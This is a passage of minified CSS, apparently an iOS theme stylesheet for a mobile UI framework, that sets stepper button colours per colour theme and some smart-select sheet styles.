.stepper-button-plus.active-state,.ios .color-theme-black .stepper .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .color-theme-black .stepper .stepper-button-minus:after,.ios .color-theme-black .stepper .stepper-button-minus:before,.ios .color-theme-black .stepper .stepper-button-plus:after,.ios .color-theme-black .stepper .stepper-button-plus:before{background-color:#000}.ios .color-theme-black .stepper .stepper-input-wrap,.ios .color-theme-black .stepper .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .color-theme-black .stepper .stepper-value{color:#000}.ios .color-theme-black .stepper .stepper-input-wrap input{color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.ios .stepper.color-red .stepper-button,.ios .stepper.color-red .stepper-button-minus,.ios .stepper.color-red .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .stepper.color-red .stepper-button-minus.active-state,.ios .stepper.color-red .stepper-button-plus.active-state,.ios .stepper.color-red .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .stepper.color-red .stepper-button-minus:after,.ios .stepper.color-red .stepper-button-minus:before,.ios .stepper.color-red .stepper-button-plus:after,.ios .stepper.color-red .stepper-button-plus:before{background-color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap,.ios .stepper.color-red .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .stepper.color-red .stepper-value{color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap input{color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button,.ios .stepper.color-red.stepper-fill .stepper-button-minus,.ios .stepper.color-red.stepper-fill .stepper-button-plus,.ios .stepper.color-red.stepper-fill-ios .stepper-button,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill .stepper-button-plus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .stepper.color-green .stepper-button,.ios .stepper.color-green .stepper-button-minus,.ios .stepper.color-green .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .stepper.color-green .stepper-button-minus.active-state,.ios .stepper.color-green .stepper-button-plus.active-state,.ios .stepper.color-green .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .stepper.color-green .stepper-button-minus:after,.ios .stepper.color-green .stepper-button-minus:before,.ios .stepper.color-green .stepper-button-plus:after,.ios .stepper.color-green .stepper-button-plus:before{background-color:#4cd964}.ios .stepper.color-green .stepper-input-wrap,.ios .stepper.color-green .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .stepper.color-green .stepper-value{color:#4cd964}.ios .stepper.color-green .stepper-input-wrap input{color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button,.ios .stepper.color-green.stepper-fill .stepper-button-minus,.ios .stepper.color-green.stepper-fill .stepper-button-plus,.ios .stepper.color-green.stepper-fill-ios .stepper-button,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill .stepper-button-plus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .stepper.color-blue .stepper-button,.ios .stepper.color-blue .stepper-button-minus,.ios .stepper.color-blue .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .stepper.color-blue .stepper-button-minus.active-state,.ios .stepper.color-blue .stepper-button-plus.active-state,.ios .stepper.color-blue .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .stepper.color-blue .stepper-button-minus:after,.ios .stepper.color-blue .stepper-button-minus:before,.ios .stepper.color-blue .stepper-button-plus:after,.ios .stepper.color-blue .stepper-button-plus:before{background-color:#007aff}.ios .stepper.color-blue .stepper-input-wrap,.ios .stepper.color-blue .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .stepper.color-blue .stepper-value{color:#007aff}.ios .stepper.color-blue .stepper-input-wrap input{color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button,.ios .stepper.color-blue.stepper-fill .stepper-button-minus,.ios .stepper.color-blue.stepper-fill .stepper-button-plus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper.color-pink .stepper-button,.ios .stepper.color-pink .stepper-button-minus,.ios .stepper.color-pink .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .stepper.color-pink .stepper-button-minus.active-state,.ios .stepper.color-pink .stepper-button-plus.active-state,.ios .stepper.color-pink .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .stepper.color-pink .stepper-button-minus:after,.ios .stepper.color-pink .stepper-button-minus:before,.ios .stepper.color-pink .stepper-button-plus:after,.ios .stepper.color-pink .stepper-button-plus:before{background-color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap,.ios .stepper.color-pink .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .stepper.color-pink .stepper-value{color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap input{color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button,.ios .stepper.color-pink.stepper-fill .stepper-button-minus,.ios .stepper.color-pink.stepper-fill .stepper-button-plus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .stepper.color-yellow .stepper-button,.ios .stepper.color-yellow .stepper-button-minus,.ios .stepper.color-yellow .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .stepper.color-yellow .stepper-button-minus.active-state,.ios .stepper.color-yellow .stepper-button-plus.active-state,.ios .stepper.color-yellow .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .stepper.color-yellow .stepper-button-minus:after,.ios .stepper.color-yellow .stepper-button-minus:before,.ios .stepper.color-yellow .stepper-button-plus:after,.ios .stepper.color-yellow .stepper-button-plus:before{background-color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap,.ios .stepper.color-yellow .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .stepper.color-yellow .stepper-value{color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap input{color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .stepper.color-orange .stepper-button,.ios .stepper.color-orange .stepper-button-minus,.ios .stepper.color-orange .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .stepper.color-orange .stepper-button-minus.active-state,.ios .stepper.color-orange .stepper-button-plus.active-state,.ios .stepper.color-orange .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .stepper.color-orange .stepper-button-minus:after,.ios .stepper.color-orange .stepper-button-minus:before,.ios .stepper.color-orange .stepper-button-plus:after,.ios .stepper.color-orange .stepper-button-plus:before{background-color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap,.ios .stepper.color-orange .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .stepper.color-orange .stepper-value{color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap input{color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button,.ios .stepper.color-orange.stepper-fill .stepper-button-minus,.ios .stepper.color-orange.stepper-fill .stepper-button-plus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .stepper.color-gray .stepper-button,.ios .stepper.color-gray .stepper-button-minus,.ios .stepper.color-gray .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .stepper.color-gray .stepper-button-minus.active-state,.ios .stepper.color-gray .stepper-button-plus.active-state,.ios .stepper.color-gray .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .stepper.color-gray .stepper-button-minus:after,.ios .stepper.color-gray .stepper-button-minus:before,.ios .stepper.color-gray .stepper-button-plus:after,.ios .stepper.color-gray .stepper-button-plus:before{background-color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap,.ios .stepper.color-gray .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .stepper.color-gray .stepper-value{color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap input{color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button,.ios .stepper.color-gray.stepper-fill .stepper-button-minus,.ios .stepper.color-gray.stepper-fill .stepper-button-plus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .stepper.color-white .stepper-button,.ios .stepper.color-white .stepper-button-minus,.ios .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.ios .stepper.color-white .stepper-button-minus.active-state,.ios .stepper.color-white .stepper-button-plus.active-state,.ios .stepper.color-white .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .stepper.color-white .stepper-button-minus:after,.ios .stepper.color-white .stepper-button-minus:before,.ios .stepper.color-white .stepper-button-plus:after,.ios .stepper.color-white .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white .stepper-input-wrap,.ios .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .stepper.color-white .stepper-value{color:#fff}.ios .stepper.color-white .stepper-input-wrap input{color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button,.ios .stepper.color-white.stepper-fill .stepper-button-minus,.ios .stepper.color-white.stepper-fill .stepper-button-plus,.ios .stepper.color-white.stepper-fill-ios .stepper-button,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill .stepper-button-plus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .stepper.color-black .stepper-button,.ios .stepper.color-black .stepper-button-minus,.ios .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.ios .stepper.color-black .stepper-button-minus.active-state,.ios .stepper.color-black .stepper-button-plus.active-state,.ios .stepper.color-black .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .stepper.color-black .stepper-button-minus:after,.ios .stepper.color-black .stepper-button-minus:before,.ios .stepper.color-black .stepper-button-plus:after,.ios .stepper.color-black .stepper-button-plus:before{background-color:#000}.ios .stepper.color-black .stepper-input-wrap,.ios .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .stepper.color-black .stepper-value{color:#000}.ios .stepper.color-black .stepper-input-wrap input{color:#000}.ios .stepper.color-black.stepper-fill .stepper-button,.ios .stepper.color-black.stepper-fill .stepper-button-minus,.ios .stepper.color-black.stepper-fill .stepper-button-plus,.ios .stepper.color-black.stepper-fill-ios .stepper-button,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .stepper.color-black.stepper-fill .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill .stepper-button-plus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.ios .smart-select-sheet .page{background:#fff}.ios .smart-select-sheet .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .smart-select-sheet .page,.ios .theme-dark .smart-select-sheet 